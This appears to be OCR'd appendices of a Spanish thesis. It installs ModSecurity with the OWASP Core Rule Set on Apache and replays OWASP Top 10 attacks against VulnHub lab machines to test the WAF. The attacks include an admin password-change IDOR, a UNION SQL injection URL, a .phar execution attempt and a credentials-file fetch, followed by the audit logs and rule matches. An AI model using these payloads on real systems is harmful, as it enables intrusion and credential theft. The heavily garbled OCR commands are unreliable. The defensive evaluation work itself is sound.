[root@localhost “ 1 wget https:/sgithub.com/SpiderLabs/ModSecurity-releases/download vZ.9.6/modsecur
ity-2.9.6.tar.gz_

[root@localhost “1# ls

naconda-ks.cfg modsecuritu-2.9.6 tar.uz
[rootBlocalhost “1# tar -xuvzf modsecurity-2.9.6.tar.qz
[root@localhost “1# ls

naconda-ks.cf modsecurity-2.9.6. tar.gz

14. Se ingresa al directorio modsecurity-2.9.6 descomprimido y se ejecutan los
comandos ./autogen.sh, ./configure, make, make install para instalar el paquete en el

servidor Apache (ver Figura B.13).

Figura B.13
Instalacién de ModSecurity-2.9.6 en el servidor Apache

[rootPlocalhost “1# cd modsecurity-2.9.6
[rootPlocalhost modsecurity-2.9.614 1=
clocal .m®  configure LICENSE NOTICE
configure.ac Makefile.am README . md unicode .mapping
CHANGES Makef ile.in README_WINDOWS . md
uthors.txt stamp-hi
utogen.sh modsecur ity .conf -recommende d

[root@localhost modsecurity-2.9.61# _
[root®localhost modsecurity-Z.9.61% .rautogen.sh
[rootRlocalhost modsecurity-2.9.61% .rconfigure_

[root@localhost modsecurity-Z.9.61# make

[root@localhost wmodsecurity-Z2.9.61# make install

15. Hacer una copia del archivo de configuracion recomendada de ModSecurity
disponible en el directorio que se descomprimio, y se lo debe ubicar en el directorio

/etc/httpd/conf.d del servidor Apache (ver Figura B.14).

Figura B.14

Copia del archivo de configuracion de ModSecurity en el servidor Apache

I ty-Z.9.61#t cp modsecurity.conf-recommended ~etc httpd-conf .d-modsecur tg .Col

nf
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16. En el directorio /etc/httpd/modules se ubica el archivo mod_security2.so y se

modifica los permisos de acuerdo a la Figura B.15.

Figura B.15
Modificacién de los permisos del archivo mod_security2.so

[root@localhost modulesl# cd ~retc-httpd-moduless

[root@localhost modulesl ls
od_access_compat.so mod_cgi.so mod_log_config.so mod_reqtimeout. so
od_act ions.so mod_charset_lite.so mod_log_debuy.so mod _request . so
od_alias.=o mod_data.=so mod_log_forensic.so mod_rewrite.so

od_allowmethods .so mod_dav_fs.so mod_logio.so mod _securityZ.so
od_asis.so mod_dav_lock.so mod_lua.=so mod_sed.so
od_auth_basic.so mod_dav.so mod_macro.so mod_setenvif .so

[root@localhost modulesl# chmod 7?55 mod_security2.=so

17. En el archivo de configuracion httpd.conf disponible en el directorio /etc/httpd/conf
incluir las lineas presentadas en la Figura B.16 para cargar los modulos

mod_security2.s0 y mod_unique_id.so en el servidor Apache.

Figura B.16
Inclusion de los moédulos mod_security2.s0 y mod_unique_id.so en el archivo httpd.conf

LoadModule =securityZ module ~etc httpd-modules~mod_securityZ.so

LoadModule wnigque_id_module setc httpd-modules mod_unique_id.so

18. Posterior a la instalacién de ModSecurity es necesario adicionar el conjunto de
reglas Core Rule Set CRS para el WAF, empezando por la modificacién del archivo
letc/httpd/conf.d/modsecurity.conf para cambiar la sentencia SecRuleEngine de
DetectionOnly a On como se muestra en la Figura B.17.

Figura B.17

Activacion de ModSecurity en el archivo de configuracion modsecurity.conf

[rootPlocalhost ~1# wano ~etcshttpdsconf .d/modsecurity.conf

Archivo Maquina Ver Entrada Dispositivos Ayuda
GNU nano 2.3.1 Fichero: retc/httpdsconf .d/modsecurity.conf Modif icado

# -— Bule engine initialization

Enable ModSecurity, attaching it to every transaction. Use detection
only to start with, because that minimises the chances of post-installation

g
#
# disruption.
g
S

ecRuleEngine On

19. En la ruta /etc/httpd/ se crea el directorio modsecurity.d para descargar el conjunto

de reglas CRS del repositorio GitHub como se presenta en la Figura B.18.
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Figura B.18
Descarga de conjunto de reglas CRS para el WAF ModSecurity

[root@localhost httpdl#t mkdir modsecurity.d
[root@localhost httpdl# l=

logs modules run
[root@localhost httpdl#t cd modsecurity.d/
[rootPlocalhost modsecurity.dlf

[rootPlocalhost modsecurity.dl# wget https:rrgithub.comscorerulesetrscorerulesetrarchiverrefsstags vl
.J3.4.tar.gz

--2823-18-82 18:17:18-- https:--github.com coreruleset/coreruleset-archivesrefsstags-v3.3.4.tar.gz
Resolviendo github.com (github.com)... 148.82.114.3

onectando con github.com (github.com)[148.82.114.31:443... conectado.

Peticion HTTP ewnviada, esperando respuesta... 382 Found

Localizacion: https:-scodeload.github.com-coreruleset coreruleset-tar.gz-refs tags/v3.3.4 [siguiendo
1
--ZB823-18-82 18:17:18-- https:/-scodeload.github.com/coreruleset/corerulesetstar.gz/refs/tags,v3d.3.4
[Resolviendo codeload.github.com (codeload.github.com)... 148.82.113.9

onectando con codeload.github.com (codeload.github.com)[148.82.113.91:443... conectado.

Peticion HTTP enviada, esperando respuesta... 288 OK

: no especificado [applicationsx-gzipl
: “y3.3.4.tar.gz"

1 381.112 324KB-s  en B,9s
bBZB—iB—BZ 18:17:12 (324 KBrs) - “v3.3.4.tar.gz" guardado [3811121]
[rootPlocalhost modsecurity.dlf ls

v3.3.4.tar.gz
[root@localhost modsecurity.dlf _

20. Se descomprime el archivo descargado en el paso 19 con el comando
tar -xvzf v.3.3.4.tar.gz.

21. Se ingresa al directorio coreruleset-3.3.4 y se renombra el archivo de configuracion
del conjunto de reglas CRS crs-setup.conf.example mediante el comando

mv crs-setup.conf.example crs-setup.conf (ver Figura B.19).

Figura B.19
Renombrado del archivo de configuracion del conjunto de reglas CRS

[[root@localhost modsecurity.dls ls

kruut@lucalhust modsecurity.d1l# cd coreruleset-3.3.4/

[rootPlocalhost coreruleset-3.3.41# ls

CONTRIBUTING.md crs-setup.conf .example KNOWN_BUGS README.md SECURITY.md
CONTRIBUTORS .md CHANGES INSTALL LICENSE SPONSORS .md
[root@localhost coreruleset-3.3.41s

f[rootPlocalhost coreruleset-3.3.41# mv crs-setup.conf .example crs-setup.conf

22. Se modifica el archivo de configuracion httpd.conf para agregar las lineas presentas
en la Figura B.20 con la finalidad de incluir el conjunto de reglas CRS al servidor
Apache.

23. Se verifica que las reglas se encuentren disponibles ingresando al directorio

letc/httpd/modsecurity.d/coreruleset-3.3.4/rules/ (ver Figura B.21).
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Figura B.20

Inclusion del conjunto de reglas CRS al servidor Apache

[root@localhost coreruleset-3.3.41# nano setc/httpd-sconf-httpd.conf

LoadModule securityZ_module -etc-httpd-modules mod_securitys.so
<IfModule securityZ_module>

Include retc hitpdsmodsecurity.d coreruleset-3.3.4-crs-setup.conf
Include setc/httpdsmodsecurity.d/coreruleset-3.3.4/rules =.conf
<sIfHodule>

Figura B.21

Verificacion de reglas para ModSecurity

[root@localhost coreruleset-3.3.41#% cd ~etc/httpd-modsecurity.d-coreruleset-3.3.4-rules~

[root@localhost ruleslft 1= -la | head -n 28

4896 sep
4896 oct ..
786 sep crawlers-user-agents.data
551 sep iis-errors.data
933 sep Jjava-classes.data
264 sep Jjava-code-leakages.data
248 sep Jjava-errors.data
31289 sep Ifi-os-files.data
5489 sep php-conf ig-directives.data
9281 sep php-errors.data
683 sep php-function-names-933158.data
21282 php-function-names-933151.data
224 php-variables.data
7658 REQUEST-988-EXCLUS ION-RULES-BEFORE-CRS . conf .example
135681 REQUEST-981-INITIALIZATION .conf
REQUEST-983 .9881-DRUPAL-EXCLUS ION-RULES . conf
REQUEST-983 . 9882 -WORDPRESS -EXCLUS ION-RULES . conf
REQUEST-983 .9883-NEXTCLOUD-EXCLUS ION-RULES . conf
REQUEST-983 . 96884 -DOKUWIRI -EXCLUS ION-RULES . conf

e e e e e N

24. Se hace una copia de las paginas .html de error para el servidor Apache (ver
Figura B.22).

Figura B.22
Copia de paginas .html de error para el servidor Apache

[rootPlocalhost comf.d1# cp -r ~usr~share~httpd-error- ~usr.libb4/httpd-error
[rootPlocalhost conf.dl# 1s -la susrr/libbishttpdserror

root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct
root root oct

contact . html .var
HTTP_BAD_GATEWAY . hitml . var
HTTP_BAD_REQUEST. html . var
HTTFP_FORB IDDEN . html .var
HTTP_GONE .html .var
HTTP_IMTERHAL_SERUER_ERROR. html.war
HTTP_LENGTH_REQUIRED.html .war
HTTP_METHOD_NOT_ALLOWED.html.wvar
HTTP_HOT_FOUND .html .var
HTTP_NOT_IMPLEMENTED.html .var
HTTP_PRECONDITION_FAILED. html . var
HTTP_REQUEST_ENTITY_TOO0_LARGE. html . var
HTTP_REQUEST_TIME_DUT. html .war
HTTP_REQUEST _URI_TOD_LARGE.html.war
HTTP_SERVICE_UNAVILABLE . html . var
HTTP_UNAUTHORIZED . html .var
HTTP_UMSUPPORTED_MEDIA_TYPE.html .var
HTTP_UARIANT_ALS0_VARIES . himl . var

[ gy Ry Ry Ryl Ry Ay iy oy Ry A R R Ry R g I R I ]

.3
5
1
1
1
1
1
i
1
1
1
1
1
1
1
1
1
i
1
1
Z
1

README
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25. Finalmente se verifica la configuracion de Apache y se reinicia el servicio httpd (ver
Figura B.23).

Figura B.23
Verificacion de la configuracion del servidor Apache

[rootPlocalhost coreruleset-3.3.41# apachect]l conf igtest

JlHon Oct B2 18:27:33.745454 28231 [so:warnl [pid 15711 AHB1574: module proxy_module is already loade
» skipping

[Mon Oct B2 18:27:33.786668 28231 [=o:warnl] [pid 15711 AHA15Y74: module unique_id _module is already 1
paded, skipping

AHABSS58: httpd: Could not reliably determine the server’s fully gqualified domain name, using localho

st.localdomain. Set the ’ServerName’ directive globally to suppress this message

[Suntax OK

[root@localhost coreruleset-3.3.41% _

[root@localhost httpdl# systemctl restart httpd.service
[root@localhost httpd1#t systemct]l status hitpd.service
1 httpd.service - The fipache HTTP Server
Loaded: loaded (rusr-libssystemd/systemhtipd.service: enabled: vendor preset: disabled)
fictive: active (rumming) since lun 2B823-18-82 18:32:24 -B5: 18s ago
Docs: man:httpd(8)
man:apachect1(8)
Process: 1587 ExecStop=rbinskill -WINCH S${MAINPID} (code=exited, status=B-SUCCESS)
Main FID: 1592 (httpd)
Status: "Total requests: B: Current requestsssec: B: Current traffic: 8 Brssec"”
CGroup: rssystem.sliceshtipd.service
1592 susr/sbinshttpd -DFOREGROUND
susrssbhinshttpd -DFOREGROUND
~usrssbinshttpd -DFOREGROUND
susrrssbinshttpd -DFOREGROUND
susrssbin httpd -DFOREGROUND
susrssbinshttpd -DFOREGROUND

132 localhost.localdomain systemd[1]1: Starting The fApache HTTP Server...
oct B2 1@:32: localhost.localdomain httpd[15921: [Mon Oct B2 18:32:23.964558 28231 [so:warnl
oct BZ 1@8:32: localhost.localdomain httpd[15921: [Mon Oct B2 18:32:23.995278 28231 [so:warnl ..
oct BZ 1@8:32: localhost . localdomain httpd[1592]1: AHABS558: httpd: Could not reliably determine...
oct BZ 18:32: localhost.localdomain systemd[11: Started The fApache HTTF Server.
Hint: Some lines were ellipsized, use -1 to show in full.
[root@localhost hitpdln
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ANEXO C: EXPLOTACION DE VULNERABILIDADES REPORTADAS EN
OWASP TOP 10 CON LA PROTECCION DE LA SOLUCION WAF COMO
PROXY INVERSO EN AMBIENTE DE MAQUINA VIRTUAL.

En el presente anexo se ejecutan ataques sobre servidores web vulnerables de
entrenamiento con la proteccion de la solucion WAF como proxy inverso en ambiente
de maquina virtual, con la finalidad evaluar su eficacia frente a las vulnerabilidades
reportadas en OWASP TOP 10.

A continuacién, se presentan los resultados obtenidos al repetir los ataques ejecutados

en el Anexo A sobre los servidores web vulnerables.

A01:2021 — Pérdida de control de acceso

Para este apartado se replica la explotacion del servidor vulnerable “DARKHOLE:1”

de la plataforma VulnHub.
Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
letc/httpd/conf.d/test.conf de la maquina virtual con la implementacion del WAF
para que resuelva la direccion IP 192.168.10.14 del servidor vulnerable
“DARKHOLE:1” (ver Figura C.1).

Figura C.1

Integracion del proxy inverso en el laboratorio modificando el archivo test.conf con la
IP del servidor vulnerable “DARKHOLE:1”

Archive Maquina Ver Entrada Dispositivos Ayuda
GNU nano 2.3.1 Fichero: setcshttpdsconf.d/test.conf Modif icado

<UirtualHost »=:88>
ServerName waf-utn.com.ec
ProxyPreserveHost On
ProxyPass ~ hitp:--19Z2.168.168.14.-
ProxyPassReverse ~» http:/r192.168.18.14/
<sUirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la

maquina virtual que tiene implementado la solucion WAF (ver Figura C.2).
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Figura C.2

Configuracion del proxy inverso en el navegador del cliente

Connection Settings

Use system proxy settings

© Manual proxy configuration

HTTP Proxy | 192.168.10.5

3. Replicar los pasos del 1 al 6 detallados en el Anexo A, subseccion A01:2021 —
Pérdida de control de acceso, desde el reconocimiento hasta la interceptacion de la
peticion POST para el cambio de contrasefia.

4. A la peticion interceptada se le modifica los parametros password e id para enviarla

al servidor e intentar cambiar la contrasefia del usuario admin (ver Figura C.3).

Figura C.3

Peticion POST de cambio de contrasefia para el usuario admin del servidor

Burp Suite Community Edition v2023.10.1.1 - Temporary Project

Burp  Project  Intruder Repeater  View  Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer {5} Settings
Extensions Learn
Intercept HTTP history WebSockets history {0} Proxy settings

f Request to http/waf-utn.com.ec:80 [unknown host]

Forward Drop Action Open browser
"

; Inspector s = - & X
POST /dashboard.php?id=2 HTTR/1.1 ]
llm : EIRTErSTTs >

T g .
3 User-Agent: Mozillas5.0 (¥11; Linux x86_64; rvi109,0) Gecko /20100101 Firefox/115.0 R e

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp, ¥/*;q=0.8

5 Accept-Language: en-US,en;g=0.5 Request query parameters 1 A
5 Accept-Encoding: gzip, deflate, br

7 Referer: http://waf-utn.com.ec/dashboard. php?id=2
& Content-Type: application/x-www-form-urlencoded
9 Content-Length: 23

10 Origin: http://waf-utn.com.ec Request cookies 1 o
11 DNT: 1

12 Connection: close

13 Cookie: PHPSESSID=Sve7dS8uspStskvepk7sltEph? Request headers 13 ~
14 Upgrade-Insecure-Requests: 1

1

1[ password=adnin&id=1|

& w3

Request body parameters 2 ~

5. En este escenario, el WAF implementado en ambiente de maquina virtual con las
configuraciones por defecto no blogueo la peticion maliciosa enviada al servidor, lo
que provoca el cambio de contrasefia del usuario admin. La validacion de las

credenciales admin : admin se presenta en la Figura C.4.

Figura C.4
Validacion de credenciales admin : admin alteradas por vulnerabilidad de control de
acceso en el servidor “DARKHOLE: 1"
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com.ec?

INFORMATION

A02:2021 — Fallas criptograficas

Para este apartado se replica la explotacion del servidor vulnerable
“BLACKMARKET:1” de la plataforma VulnHub.

Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
/etc/httpd/conf.d/test.conf de la maquina virtual con la implementacion del WAF
para que resuelva la IP 192.168.10.19 del servidor vulnerable
“BLACKMARKET:1” (ver Figura C.5).

Figura C.5
Integracion del proxy inverso en el laboratorio modificando el archivo test.conf con la
IP del servidor vulnerable “BLACKMARKET:1"

Archive Maquina Ver Entrada Dispositivos Ayuda
GHU nano 2.3.1 Fichero: ~setc/httpd-conf.d- test.conf Modif icado

<UirtualHost =:88>
ServerName waf-utn.com.ec

ProxyPreserveHost On
ProxyPass ~» http:~s-192.168.18.19~
ProxyPassReverse ~» http:r-192.168.18.19~

<sUirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la

maquina virtual que tiene implementado la solucion WAF (ver Figura C.6).
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Figura C.6

Configuracion del proxy inverso en el navegador del cliente

Connection Settings

Use system proxy settings

© Manual proxy configuration

HTTP Proxy | 192.168.10.5

3. Replicar los pasos del 1 al 5 detallados en el Anexo A, subseccién A02:2021 —
Fallas criptogréficas, desde el reconocimiento hasta el proceso de listado de
directorios para identificar la ruta http://waf-utn.com.ec/vworkshop/spareparts
store.php.

4. Al hacer uso de http://waf-utn.com.ec/vworkshop/sparepartsstoremore
.php?sparepartid=-1%27%20union%20select%201,2,3,schema_name,5,6,7%20fro
m%?20information_schema.schemata%?20limit%201,1--%20- para identificar la
segunda base de datos configurada en el servidor se activa el bloqueo del WAF (ver
Figura C.7).

Figura C.7
Blogueo del WAF a la ejecucién de la consulta via SQL Injection

* 403 Forbidden X {3 Settings X+ v

&« s Y & waf-utn.com.ec/vworkshop/sparepartsstore.php? kg ® o

KaliLinux & KaliTools » KaliDocs ® KaliForums e~ Kali NetHunter Exploit-DB

Forbidden

You don't have permission to access /vworkshop/sparepartsstore.php on this server.

5. En la Figura C.8 se presenta el log de auditoria registrado por ModSecurity después
de activado el bloqueo a la peticion hecha en el paso 4. Del log de auditoria se
puede extraer metadatos importantes como:

e Fechay hora del ataque: 24/0ct/2023:14:34:33

o Direccion IP del atacante: 192.168.10.16

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Regla aplicada: REQUEST-942-APPLICATION-ATTACK-SQLI.conf
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e Tiempo de procesamiento en cada fase: p1=744 ps, p2=1553 us, p3=0 pus,
p4=0 ps, p5=271 ps, sr=203 us, sw=0 us, gc=0 us

Figura C.8
Log de auditoria registrado por ModSecurity

-525e8ed?-A--

[24/0ct-2823:14:34:33.647948 —-85881 ZTycSQFfZNeYFN3dmbsso(AAAAA 192 .168.18.16 57388 192.168.16.5 80
-525e8e37-B-—-

GET httyp:sswaf -utn.com.ec workshopssparepartsstore .php?sparepartid=—1227x2Bunion~2Bselect<2681,2,3,
hema_name, 5,6, 7#28f rom-20information_schema .schematax2B81 imit»201,1-—+28- HTTP-1.1

ost: waf-utn.com.ec

ser—Agent: MozillarS.B (¥11; Linux xB6_64; rv:189.8) Gecko-Z281688181 Firefox~115.8

ficcept : text-html,application- xhtml+>xml,application->ml:q=0.9, image- avif, image webp,=-=:q=H.8
ccept-Language: en-US,en;qg=8.5

ccept-Encoding : gzip, deflate

DMT: 1

ommect ion: keep-alive

ook ie: PHPSESSID=3sirfiofkuvin?2rdwnvibhvkl

pyrade - Insecure-Requests: 1

-525e8e37-F--

TTP-1.1 483 Forbidden

ontent -Length: 231

eep—Ailive: timeout=5, max=188

omect ion: Keep-Alive

ontent -Type: textshtml: charset=izo-8859-1

-525eBe37-E-—-

TDOCTYPE HTHML PUBLIC “-,/IETF--DTD HTML Z.B./EN">

html><head>

title>483 Forbidden<-title>

~head> <body>

h1>Forbidden</hl>

p>You don’t have permission to access ~wworkshopssparepartsstore.php
n this =server.{/p>

#body> </html>

--525e8e37-H—-
pssage: Access denied with code 483 (phase 2). detected SQLLi uwsing libinjection with fingerprint ’4
Eik’ [file "retc-httpd-modsecurity.d-coreruleset-3.3.4-rules/-REQUEST-942-APPLICATION-ATTACK-SQLI.cd
nf"] [line "66"]1 [id "942188"]1 [msg “SOQL Injection Attack Detected via libinjectiom"] [data "Matche
Data: sUELlk found within ARGS:sparepartid: -1’ union select 1,2,3,schema_name,D,6,7 from informatid
n_schema.schemata limit 1.1-— -"1 [sewverity "CRITICAL"]1 [wer "OWASP_CRS~3.3.4"1 [tag “application-m
1ti"]1 [tag "language-multi"] [tag “"platform-multi™] [tag "attack-sqli"1l [tag “paranoia-level/1"1 [t
"0DWASP_CRS"] [tag “capec~1888-152-24B.66"1 [tag "PCI/6.5.2"1
Apache-Error: [file “apacheZ util.c”] [line 2711 [lewvel 31 [client 192.168.10.16]1 ModSecurity: Acces
s denied with code 483 (phase 2). detected SOLi using libinjection with fingerprint 'sUE1k" [file
etchttpd-modsecurity.d-coreruleset-3.3.4-rules/REQUEST-94Z-APPLICATION-ATTACK-SOHLI.conf "] [line "6
"1 [id "942188"1 [msg '"SQL Injection Attack Detected wia libinjection"] [data "Matched Data: sUE1k
pund within ARGS:sparepartid: -1° union select 1,Z,3.schema_name,5.6,7 from information_schema.sche
ta limit 1,1-- -"1 [severity "CRITICAL"] [wer "OWASP_CRS-3.3.4"1 [tag "application-multi”] [tag "1
nguage-multi”] [tag “'platform-multi”] [tag "attack-sqli™] [tag "paranoia-levelr1"1 [tag "DWMSP_CRS"
[tag “capec/1A88-152,248-66"]1 [tag “PCI1/6.5.2"1 [hostname "waf-utn.com.ec™] [uri “uorkshopsspare
rtsstore.php”l [unigue_id "ZTyc3QFf2ZNeYFN3dmbs=oQARAAA']
Aiction: Intercepted (phase 2)
pache-Handler: proxy-server
[Stopwatch: 16983176873644871 3181 (- - -)
[StopwatchZ: 1698176073644871 3181. combined=2568, pl=744, pZ=1553, p3=8, p4=8, p5=271, sr=Z83, sw=-0
1=8, gc-@
Pespunge—Budy—TTansfurmed: Dechunked
Producer: ModSecurity for ApachesZ.9.6 (http: .was.modsecurity.org-s): OWASP_CRS-3.3.4.
[Server: ApachersZ.4.6 (Cent03)
ngine-Mode: "ENABLED"

--525e8e37-Z--
A03:2021 — Inyeccion

Para este apartado se replica la explotacion del servidor vulnerable “VENOM:1” de la

plataforma VulnHub.
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Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo
letc/httpd/conf.d/test.conf de la maquina virtual con la implementacion del WAF
para que resuelva la IP 192.168.10.8 y el alias del servidor vulnerable “VENOM:1”
(ver Figura C.9).

Figura C.9
Integracion del proxy inverso en el laboratorio modificando el archivo test.conf con la
IP y alias del servidor vulnerable “VENOM:1"

Archivo Maquina WVer Entrada Dispositivos Ayuda
GNU mano 2.3.1 Fichero: test.conf

[<UirtualHost =:88>
ServerName venom. box
ServerName waf -utn.com.ec
ProxyPreserveHost On
ProxyPass ~» http:--192.168.18.8~
ProxyPassReverse ~ http:--192.168.18.8~
<sUirtuwalHost>

2. En la méquina cliente (S.0. Kali Linux) editar el archivo /etc/hosts para quitar la
resolucion del alias del servidor “venom.box” ya que el mismo va a ser resuelto por

el proxy inverso implementado (ver Figura C.10).

Figura C.10

Edicion del archivo /etc/hosts para quitar la resolucion del alias del servidor

File Actions Edit View Help

0.0.1 localhost

localhost ip6-localhost ip6-loopback
ip6-allnodes

ip6-allrouters

3. En el navegador del cliente configurar el proxy inverso con la direccion IP de la
maquina virtual que tiene implementado la solucion WAF (ver Figura C.11).

4. Replicar los pasos del 1 al 11 detallados en el Anexo A, subseccion A03:2021 —
Inyeccion, desde el reconocimiento hasta la carga del archivo inclusion.phar.

5. Una vez cargado el archivo inclusion.phar con cddigo php, en el navegador del
cliente se trata de ejecutar http://venom.box/uploads/inclusion.phar activando el
blogueo del WAF (ver Figura C.12).
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Figura C.11

Configuracion del proxy inverso en el navegador del cliente

Configure Proxy Access to the Internet

MNo proxy
Auto-detect proxy settings for this network
Use system proxy settings

@Manuat proxy configuration

HTTP Proxy | 192.168.10.5

Figura C.12
Blogueo del WAF a la ejecucién de http://venom.box/uploads/inclusion.phar

& C @ O & venom [ kg ® 51 =

KaliLinux # Kali Tools <« Kali Docs ali Fo s Exploit-DB Google Hacking DB >

Forbidden

You don't have permission to access /uploads/inclusion.phar on this server.

6. En la Figura C.13 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo a la peticién hecha en el paso 5. Del log de auditoria
se puede extraer metadatos importantes como:

e Fechay hora del ataque: 13/0ct/2023:09:26:08

e Direccion IP del atacante: 192.168.10.150

e Cadigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Regla aplicada: REQUEST-920-PROTOCOL-ENFORCEMENT.conf

e Tiempo de procesamiento en cada fase: p1=525 ps, p2=210 ps, p3=0 ps,
p4=0 ps, p5=187 ps, sr=98 us, sw=0 ps, gc=0 ps

A04:2021 — Disefio inseguro

Para este apartado se replica la explotacion del servidor vulnerable “ICA:1” de la

plataforma VulnHub.
Los pasos a seguir son:

1. Integrar el proxy inverso en el laboratorio de pruebas modificando el archivo

letc/httpd/conf.d/test.conf de la maquina virtual con la implementacion del WAF
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para que resuelva la IP 192.168.10.4 del servidor vulnerable “ICA:1” (ver
Figura C.14).

Figura C.13
Log de auditoria registrado por ModSecurity

--58dac348-A--

[13-/0ct/Z2B23:89:26:88.392193 --85881 Z51TyJWBxMr6pBzCh jMewnAnAn 192 .168.18.158 45936 192.168.18.5 8
a

--58dac348-B--

GET http:rrvenom.box uploads/inclusion.phar HTTP-1.1

Host: wenom.box

Uzer-figent: Mozillars5.8 (X11; Linux x86_64: rv:189.8) GeckorZ2A188181 Firefox-115.8

ficcept: text-shtml,applicationsxhtml+xml,applicationsxml:q=8.9, imagesavif, image webp,=/=;q=8.8
ficcept-Language: en-US,en:q=RA.5

ficcept-Encoding: gzip, deflate

DNT: 1

Commection: keep-alive

Cookie: INTELLI_B6c8H42c3d=-s7g8 jmIints4loebgg7ell jimI3: loader=loaded
Upgrade-Insecure-Requests: 1

--58dac348-F--

HTTP-1.1 483 Forbidden

Content-Length: 224

Keep-Alive: timeout=5, max=188

Commection: Keep-Alive

Content-Type: text-html. charzet=i=zo-8859-1

--58dac348-E--

<1DOCTYPE HTML PUBLIC "'-,~IETF,~DTD HTML Z.8--EN">
<html><head>

<title>483 Forbidden<,/title>

<shead><body>

<h1>Forbidden<-h1>

<p*¥You don’t have permission to access suploads/inclusion.phar
on this server.{/p>

<sbody><-html>

--58dac348-H--

Message: Access denied with code 483 (phase 2). String match within ".phar/ .asa~ .asax/ .ascx’ .axd
» .backup. .bak- .bat. .cdx’ .cerr .cfgs .cmds .com .cowfig-s .conf. .cs/ .csprojs .csre .dates .db~

.dbf .dll» .dos~s .htrr .htw .ida~ .idcs .idg~s .incs .inir .keys .licxs .Ink~s .logs .mdb. .0ld~ .pa
== .pdb- .polrs .printers .puwds .rdb~- .resources-s .resx” .sqls .swps .syss .vbr .uwbss .ubprojs .wedi
sco/ .webinfors .xsds .xsxs" at TX:extension. [file "setcs/httpd/modsecurity.d-coreruleset-3.3.4-rules
~REQUEST-928-PROTOCOL-ENFORCEMENT .conf "] [line “1856"1 [id "9ZH448"1 [msg "URL file extension is res
tricted by policy"”l [data ".phar"] [severity "CRITICAL"] [ver "OWASP_CR3-3.3.4"1 [tag "application-m
ulti”]l [tag "language-multi”] [tag "platform-multi”] [tag “attack-protocol”] [tag “parancia-levelr1"
1 [tag "OWASP_CRS"] [tag “capec-1888-218-272"]1 [tagy "PCI/6.5.18"]1

Apache-Error: [file “apacheZ_util.c"] [line 2711 [level 31 [client 192.168.18.158]1 ModSecurity: Acce
ss denied with code 483 (phase 2). String match within " .phars .asar .asaxs .ascxs .axds .backups .b
aks .batrs .cdxs .cers .cfys .cmds .coms .configs .conf, .csr .csprojs .csrr .datrs .dbrs .dbfr .dll- .
doss .htrrs .htws .idar .idcrs .idgrs .incs .inirs .keys .licxs .lnks .logr .mdbrs .oldrs .passs .pdbrs .po
1/ .printerr .pwds .rdbrs .resourcess .resxs .sgls .swps .syss .vbs .ubss .ubprojs .vsdiscors .webinfo
s .xsds .xsx" at TX:extension. [file "setcs/httpdsmodsecurity.d-coreruleset-3.3.4-rules/REQUEST-928-
PROTOCOL-ENFORCEMENT .conf "1 [line "1856"1 [id '928448"1 [msg "URL file extension is restricted by po
licy™”] [data ".phar"] [severity "CRITICAL"1 [wer "OWASP_CRS-3.3.4"]1 [tag “application-multi”] [tag "
language-multi”1 [tag "platform-multi™] [tag "attack-protocol”] [tag "paranoia-levels1"1 [tag "OWASP
_CRS"1 [tag "capec-1888,218-272"1 [tag "PCI-6.5.18"1 [hostname "wvenom.box"1 [uri “~uploadssinclusion
.phar"] [unique_id "ZS1TgJWIBxMr6pBzCh jMewhAfAA™ ]

fiction: Intercepted (phaze 2)

fipache-Handler: proxy-server

Stopwatch: 16972A7168398951 1285 (- - -)

Stopwatche: 1697287168398951 1285: combined=922, p1=52%, p2=218, p3=8, p1=B, p5S=187, sr=98, sw=H, 1=
B, gc=@

Response-Body-Transformed: Dechunked

Producer: Mod3ecurity for Apache~2.9.6 (http: - s .modsecurity.org-s); OWASP_CRS-3.3.4.

Server: fApachersZ.4.6 (Cent03)

Engine-Mode: “ENABLED"

--58dac348-Z--
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Figura C.14
Integracion del proxy inverso en el laboratorio modificando el archivo test.conf con la

IP del servidor vulnerable “ICA:1”

GNU nano 2.3.1 Fichero: retcshttpdsconf.d-test.conf

<VirtualHost =:8@>
ServerName waf -utn.com.ec
ProxyPreserveHost On

ProxyPass ~ http:--192.168.18.4~
ProxyPassReverse ~ http:--192.168.18.4/
<sUirtualHost>

2. En el navegador del cliente configurar el proxy inverso con la direccion IP de la

maquina virtual que tiene implementado la solucion WAF (ver Figura C.15).

Figura C.15

Configuracion del proxy inverso en el navegador del cliente

Connection Settings

() Use system proxy settings

@Manua[ proxy configuration

HTTP Proxy| 192.168.10.5

3. Replicar los pasos del 1 al 6 detallados en el Anexo A, subseccion A04:2021 —
Disefio inseguro, desde el reconocimiento hasta la revision del exploit
php/webapps/50176.txt.

4. Dirigirse a la url de descarga del archivo .yml con las credenciales de conexién a la
base de datos mysgl en la ruta http://waf-utn.com.ec/core/config/databases.yml

activando el bloqueo del WAF (ver Figura C.16).

Figura C.16

Bloqueo del WAF a la ejecucion de http://waf-utn.com.ec/core/config/databases.yml

J & waf-utn.edu.ec/ b |

KaliLinux # KaliTools « KaliDocs ¥ KaliForums e Kali NetHunter = Exploit-DB % Google Hacking DB

Forbidden

You don't have permission to access /core/config/databases.yml on this server.
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5. En la Figura C.17 se presenta el log de auditoria registrado por ModSecurity
después de activado el bloqueo a la peticion hecha en el paso 4. Del log de auditoria
se puede extraer metadatos importantes como:

e Fechay hora del ataque: 16/0Oct/2023:17:42:00

e Direccion IP del atacante: 192.168.10.150

e (Codigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Reglaaplicada: REQUEST-920-PROTOCOL-ENFORCEMENT.conf

e Tiempo de procesamiento en cada fase: p1=1100 ps, p2=326 ps, p3=0 ps,
p4=0 ps, p5=232 us, sr=200 us, sw=0 ps, gc=0 us

A05:2021 — Configuracion de seguridad incorrecta

Para este apartado se replica la explotacion del servidor vulnerable “INSANITY:1” de

la plataforma VulnHub.
Los pasos a seguir son:

